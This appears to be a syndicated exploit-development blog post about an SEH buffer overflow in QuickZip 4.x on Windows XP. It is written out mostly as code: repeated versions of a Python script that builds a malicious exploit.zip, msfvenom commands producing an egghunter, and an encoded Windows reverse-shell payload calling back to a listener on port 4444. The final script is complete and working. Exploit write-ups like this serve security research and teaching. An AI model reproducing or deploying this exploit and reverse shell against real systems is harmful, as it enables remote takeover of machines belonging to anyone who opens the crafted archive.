#!/usr/bin/env python3"""QuickZip 4.x exploit.Vulnerable Software: QuickZipVersion: 4.xExploit Author: Andres RoldanTested On: Windows XP SP3Writeup: https://fluidattacks.com/blog/quickzip-exploit/"""import structFILENAME = (    b'A' * (298 - 4 - 45) +    # Jump to the start of our buffer    # This will be translated to \xe9\x02\xff\xff\xff    b'\x82\x02\x98\x98\x98' +    # Fill the rest of our buffer    b'A' * (45 - 5) +    # This will be translated to \xeb\xd1 -> 44 bytes backwards    b'\x89\xa5' +    # To fill the rest of the nSEH field    b'A' * 2 +    # 00524478   .  59            POP ECX    # 00524479   .  5D            POP EBP    # 0052447A   .  C2 0400       RETN 4    struct.pack('<L', 0x00524478) +    b'C' * 698)LOCAL_FILE_HEADER = (    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00')CENTRAL_DIRECTORY_HEADER = (    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00\x00\x00' +    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00')END_OF_CENTRAL_DIRECTORY = (    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +    # Size of central directory    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +    # Offset of start of central directory, relative to start of archive    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +    b'\x00\x00')ZIP_FILE = (    LOCAL_FILE_HEADER +    FILENAME +    CENTRAL_DIRECTORY_HEADER +    FILENAME +    END_OF_CENTRAL_DIRECTORY)with open('exploit.zip', 'wb') as fd:    fd.write(ZIP_FILE)

And check it:

JMP succeded

Wonderful!

Egghunting

Now we have 248 bytes to work. An unencoded shell will be around 350
bytes.

With that kind of space restriction, what can use an
egghunter.

To briefly recap, an egghunter is a small shellcode that will walk the
entire memory of the running process looking for a tag (an egg), and
when it finds it, it will execute anything that follows.

An egghunter can be created by the egghunter.rb Metasploit tool.

$ msf-egghunter -e flui -f hex6681caff0f42526a0258cd2e3c055a74efb8666c756989d7af75eaaf75e7ffe7$ msf-egghunter -e flui -f raw > egg.bin$

This will create a file called egg.bin with our egghunter, that will
hunt for the egg fluiflui (I wanted it to be fluid, but it must be
4*2 bytes long).

As we see, the resulting bytes are not in our allowed list, nor are
translated by other bytes, so we must encode it. We can use some of the
alphanumeric encoders of msfvenom. I will use x86/alpha_mixed:

$ cat egg.bin | msfvenom -p - -a x86 --platform windows -e x86/alpha_mixed -b '\x0a\x0d\x0f\x14\x15\x3a\x2f\x5c'Attempting to read payload from STDIN...Found 1 compatible encodersAttempting to encode payload with 1 iterations of x86/alpha_mixedx86/alpha_mixed succeeded with size 126 (iteration=0)x86/alpha_mixed chosen with final size 126Payload size: 126 bytes�����r�_WYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJISVnaiZKOfoG2brRJc2V8xMvNwLs50ZSDHo8856PlaeqynizwnOSEYzlocEHgIoYwAA

But, hey, we used an alphanumeric encoder but there are some bytes
at the start that are clearly not alphanumeric! Well, those bytes are
used by the encoder to get the current absolute position on memory and
stores the location on ECX to perform relative calculations. That code
is also known as GetPC for Get Program Counter.

However, if we can point a general purpose register (for example, EAX)
to where our egghunter will begin, we could use the BufferRegister=EAX
option that will eliminate those first bad chars:

$ cat egg.bin | msfvenom -p - -a x86 --platform windows -e x86/alpha_mixed -b '\x0a\x0d\x0f\x14\x15\x3a\x2f\x5c' BufferRegister=EAXAttempting to read payload from STDIN...Found 1 compatible encodersAttempting to encode payload with 1 iterations of x86/alpha_mixedx86/alpha_mixed succeeded with size 118 (iteration=0)x86/alpha_mixed chosen with final size 118Payload size: 118 bytesPYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI3VNaZjYoFo1RRrBJs2V8ZmfNul4EQJQdxoLxcVBLsERIOyXWlocEIzLoQeIw9ojGAA

Great! But, how can we do that?

Getting Program Counter (EIP)

We have performed two jumps. The first one was a short jump that pointed
to the second long jump, that led us in turn to the start of our buffer.
When a jump is performed, EIP register holds the address to the place
the jump is pointing to. So, after the second jump EIP is pointing to
the start of our buffer. As we instructed the encoder to find the
egghunter on EAX, we must make EAX = EIP. However, you just can’t do
something like mov eax,eip.

To do that, we can use the way the call instruction works: A call is
like a jmp, except that it will push the next instruction to be
executed on the stack, also called saved return address or saved
EIP
. So if our call points to a place where a pop eax will be,
EAX will pop back that value off of the stack and will get the value
of EIP!

The following code will do the trick:

0012FAD6   /EB 04           JMP SHORT 0012FADC0012FAD8   |41              INC ECX0012FAD9   |58              POP EAX0012FADA   |EB 05           JMP SHORT 0012FAE10012FADC   \E8 F7FFFFFF     CALL 0012FAD80012FAE1    41              INC ECX

And works like this:

  1. 0012FAD6 is the place where our second jump lands.

  2. That instruction will jump to 0012FADC where a call is located.

  3. When the call is executed, it will push to the stack a pointer to
    the next instruction, in our example 0012FAE1.

  4. That call instruction will jump to 0012FAD8 which is added
    for padding.

  5. Then pop eax is executed. That would pop back off of the stack
    0012FAE1 and stores it on EAX.

  6. Finally, the JMP SHORT 0012FAE1 is executed that will jump to
    0012FAE1.

  7. In 0012FAE1 we will put the first byte of our encoded egghunter.

Let’s update our exploit. We must encode that instructions using the
mangling table:

#!/usr/bin/env python3"""QuickZip 4.x exploit.Vulnerable Software: QuickZipVersion: 4.xExploit Author: Andres RoldanTested On: Windows XP SP3Writeup: https://fluidattacks.com/blog/quickzip-exploit/"""import structFILENAME = (    # Translates to \xeb\x04: JMP SHORT +0x6    b'\x89\x04' +    # Padding    b'\x41' +    # POP EAX    b'\x58' +    # Translates to \xeb\x05: JMP SHORT +0x7    b'\x89\x05' +    # Translates to \xe8\xf7\xff\xff\xff: CALL 0xfffffff7    b'\x8a\xf6\x98\x98\x98' +    b'A' * (298 - 4 - 45 - 11) +    # Jump to the start of our buffer    # This will be translated to \xe9\x02\xff\xff\xff    b'\x82\x02\x98\x98\x98' +    # Fill the rest of our buffer    b'A' * (45 - 5) +    # This will be translated to \xeb\xd1 -> 44 bytes backwards    b'\x89\xa5' +    # To fill the rest of the nSEH field    b'A' * 2 +    # 00524478   .  59            POP ECX    # 00524479   .  5D            POP EBP    # 0052447A   .  C2 0400       RETN 4    struct.pack('<L', 0x00524478) +    b'C' * 698)LOCAL_FILE_HEADER = (    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00')CENTRAL_DIRECTORY_HEADER = (    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00\x00\x00' +    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00')END_OF_CENTRAL_DIRECTORY = (    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +    # Size of central directory    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +    # Offset of start of central directory, relative to start of archive    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +    b'\x00\x00')ZIP_FILE = (    LOCAL_FILE_HEADER +    FILENAME +    CENTRAL_DIRECTORY_HEADER +    FILENAME +    END_OF_CENTRAL_DIRECTORY)with open('exploit.zip', 'wb') as fd:    fd.write(ZIP_FILE)

Notice that the needed bytes can be obtained using our mangle table
again! Let’s check it. If everything comes as expected, EAX should
have a pointer to the instruction below the CALL:

Getting EIP

Isn’t it beautiful? Now we can just inject our encoded egghunter right
after the call instruction:

#!/usr/bin/env python3"""QuickZip 4.x exploit.Vulnerable Software: QuickZipVersion: 4.xExploit Author: Andres RoldanTested On: Windows XP SP3Writeup: https://fluidattacks.com/blog/quickzip-exploit/"""import structEGGHUNTER = (    b'PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI3VNaZjYoFo1RRrB'    b'Js2V8ZmfNul4EQJQdxoLxcVBLsERIOyXWlocEIzLoQeIw9ojGAA')FILENAME = (    # Translates to \xeb\x04: JMP SHORT +0x6    b'\x89\x04' +    # Padding    b'\x41' +    # POP EAX    b'\x58' +    # Translates to \xeb\x05: JMP SHORT +0x7    b'\x89\x05' +    # Translates to \xe8\xf7\xff\xff\xff: CALL 0xfffffff7    b'\x8a\xf6\x98\x98\x98' +    EGGHUNTER +    b'A' * (298 - 4 - 45 - 11 - len(EGGHUNTER)) +    # Jump to the start of our buffer    # This will be translated to \xe9\x02\xff\xff\xff    b'\x82\x02\x98\x98\x98' +    # Fill the rest of our buffer    b'A' * (45 - 5) +    # This will be translated to \xeb\xd1 -> 44 bytes backwards    b'\x89\xa5' +    # To fill the rest of the nSEH field    b'A' * 2 +    # 00524478   .  59            POP ECX    # 00524479   .  5D            POP EBP    # 0052447A   .  C2 0400       RETN 4    struct.pack('<L', 0x00524478) +    b'C' * 1698)LOCAL_FILE_HEADER = (    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00')CENTRAL_DIRECTORY_HEADER = (    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00\x00\x00' +    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00')END_OF_CENTRAL_DIRECTORY = (    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +    # Size of central directory    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +    # Offset of start of central directory, relative to start of archive    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +    b'\x00\x00')ZIP_FILE = (    LOCAL_FILE_HEADER +    FILENAME +    CENTRAL_DIRECTORY_HEADER +    FILENAME +    END_OF_CENTRAL_DIRECTORY)with open('exploit.zip', 'wb') as fd:    fd.write(ZIP_FILE)

And check it:

Decoding EggHunter

It worked!

Injecting shellcode

Everything’s working right now. Except that we need a shellcode and we
have no place to inject it.

But remember that our egghunter will look the entire process memory
for the tag fluiflui, will point EDI register there, and execute
anything that follows.

Also, remember that on our payload it was included some C bytes that
were chopped off from our injected buffer. But maybe there is a region
in memory where that buffer was kept. Let’s check it:

Heap memory

Indeed! It was kept in heap memory. Our egghunter should now be able to
reach it. Let’s create an encoded reverse shell:

$ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=192.168.0.18 LPORT=4444 EXITFUNC=none -e x86/alpha_mixed -f raw -b '\x0a\x0d\x0f\x14\x15\x3a\x2f\x5c' BufferRegister=EDIFound 1 compatible encodersAttempting to encode payload with 1 iterations of x86/alpha_mixedx86/alpha_mixed succeeded with size 702 (iteration=0)x86/alpha_mixed chosen with final size 702Payload size: 702 bytesWYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylYxnbePs0wpapK9KUVQkpPdlK2p4pLKv2Flnk2rFtnk2RDhvoH7BjDfTqKONLul3Q1lvbdlWPo1JotM5QIWM2l2v2qGLK0RtPLKQZGLLKblr11hhc1Xc1zq61nkBy5puQxSNk79b8HcfZCyLKUdLKgqn6UaioNLzahOfm5QXGuhipRU9f6csMkH5k3MGT3EZDchLKpXutGqkc0flK6lBkLKshglC1KclK4DLKS1xPK9pD5tut3kQKqq69CjSaIoKPcoQOpZlK5BZKlM1MBH4sVRUP30BHpwpsFRaOCdcXbld7dfeWYozuH8NpgqwpEP6IHD2tRpcXUyoprKGpkOhU0P2prp60aPpPSpv0e88jvoyOm0ioKelWqzEUrHyPNH30Wbe832c0VqCllIJFrJvpV6PWRHNyi5qdSQiojumUo0t4VlkOPNgxd5Xl1xl0oElbpV9oJu1xqs0mCT30mYXcF73gSgvQKFsZB22yF6kRKMQvJgw4ut7LUQuQLM0D6DTPZf5PQTPTpPRvSfQFw6bvRnPV2vRscfrH2YHLGOLF9oN5oyYp0N3fw6ioP02Hc8k7uMsPYo9EmkljXEYr3mqxOVj5MmmMkO8U5lC6qlVjopIkYpt54EmkaW232R2OSZs00SkO9EAA

Notice that we used BufferRegister=EDI because the egghunter will
point that register at the very beggining of our shellcode. We can
update our exploit now. Remember to add the fluiflui tag, so our
egghunter can reach it:

#!/usr/bin/env python3"""QuickZip 4.x exploit.Vulnerable Software: QuickZipVersion: 4.xExploit Author: Andres RoldanTested On: Windows XP SP3Writeup: https://fluidattacks.com/blog/quickzip-exploit/"""import structEGGHUNTER = (    b'PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI3VNaZjYoFo1RRrB'    b'Js2V8ZmfNul4EQJQdxoLxcVBLsERIOyXWlocEIzLoQeIw9ojGAA')SHELL = (    b'WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylYxnbePs0wpapK9'    b'KUVQkpPdlK2p4pLKv2Flnk2rFtnk2RDhvoH7BjDfTqKONLul3Q1lvbdlWPo1JotM5QIW'    b'M2l2v2qGLK0RtPLKQZGLLKblr11hhc1Xc1zq61nkBy5puQxSNk79b8HcfZCyLKUdLKgq'    b'n6UaioNLzahOfm5QXGuhipRU9f6csMkH5k3MGT3EZDchLKpXutGqkc0flK6lBkLKshgl'    b'C1KclK4DLKS1xPK9pD5tut3kQKqq69CjSaIoKPcoQOpZlK5BZKlM1MBH4sVRUP30BHpw'    b'psFRaOCdcXbld7dfeWYozuH8NpgqwpEP6IHD2tRpcXUyoprKGpkOhU0P2prp60aPpPSp'    b'v0e88jvoyOm0ioKelWqzEUrHyPNH30Wbe832c0VqCllIJFrJvpV6PWRHNyi5qdSQioju'    b'mUo0t4VlkOPNgxd5Xl1xl0oElbpV9oJu1xqs0mCT30mYXcF73gSgvQKFsZB22yF6kRKM'    b'QvJgw4ut7LUQuQLM0D6DTPZf5PQTPTpPRvSfQFw6bvRnPV2vRscfrH2YHLGOLF9oN5oy'    b'Yp0N3fw6ioP02Hc8k7uMsPYo9EmkljXEYr3mqxOVj5MmmMkO8U5lC6qlVjopIkYpt54E'    b'mkaW232R2OSZs00SkO9EAA')FILENAME = (    # Translates to \xeb\x04: JMP SHORT +0x6    b'\x89\x04' +    # Padding    b'\x41' +    # POP EAX    b'\x58' +    # Translates to \xeb\x05: JMP SHORT +0x7    b'\x89\x05' +    # Translates to \xe8\xf7\xff\xff\xff: CALL 0xfffffff7    b'\x8a\xf6\x98\x98\x98' +    EGGHUNTER +    b'A' * (298 - 4 - 45 - 11 - len(EGGHUNTER)) +    # Jump to the start of our buffer    # This will be translated to \xe9\x02\xff\xff\xff    b'\x82\x02\x98\x98\x98' +    # Fill the rest of our buffer    b'A' * (45 - 5) +    # This will be translated to \xeb\xd1 -> 44 bytes backwards    b'\x89\xa5' +    # To fill the rest of the nSEH field    b'A' * 2 +    # 00524478   .  59            POP ECX    # 00524479   .  5D            POP EBP    # 0052447A   .  C2 0400       RETN 4    struct.pack('<L', 0x00524478) +    b'C' * 16 +    b'fluiflui' +    SHELL)LOCAL_FILE_HEADER = (    b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00')CENTRAL_DIRECTORY_HEADER = (    b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +    # Filename size    struct.pack('<H', len(FILENAME)) +    b'\x00\x00\x00\x00' +    b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00')END_OF_CENTRAL_DIRECTORY = (    b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +    # Size of central directory    struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +    # Offset of start of central directory, relative to start of archive    struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +    b'\x00\x00')ZIP_FILE = (    LOCAL_FILE_HEADER +    FILENAME +    CENTRAL_DIRECTORY_HEADER +    FILENAME +    END_OF_CENTRAL_DIRECTORY)with open('exploit.zip', 'wb') as fd:    fd.write(ZIP_FILE)

And check it:

Egghunter

Yes! Our egghunter found the fluiflui tag and the shellcode next to
it. We should now be able to get a shell. Let’s check:

Success

We got a shell!

You can download the final exploit here

Conclusion

This exploit was fun. We used the mangling performed by the application
to our advantage. Working with the current environment will give you
tools to think out of the box and obtain the desired results.


*** This is a Security Bloggers Network syndicated blog from Fluid Attacks RSS Feed authored by Andres Roldan. Read the original post at: https://fluidattacks.com/blog/quickzip-exploit/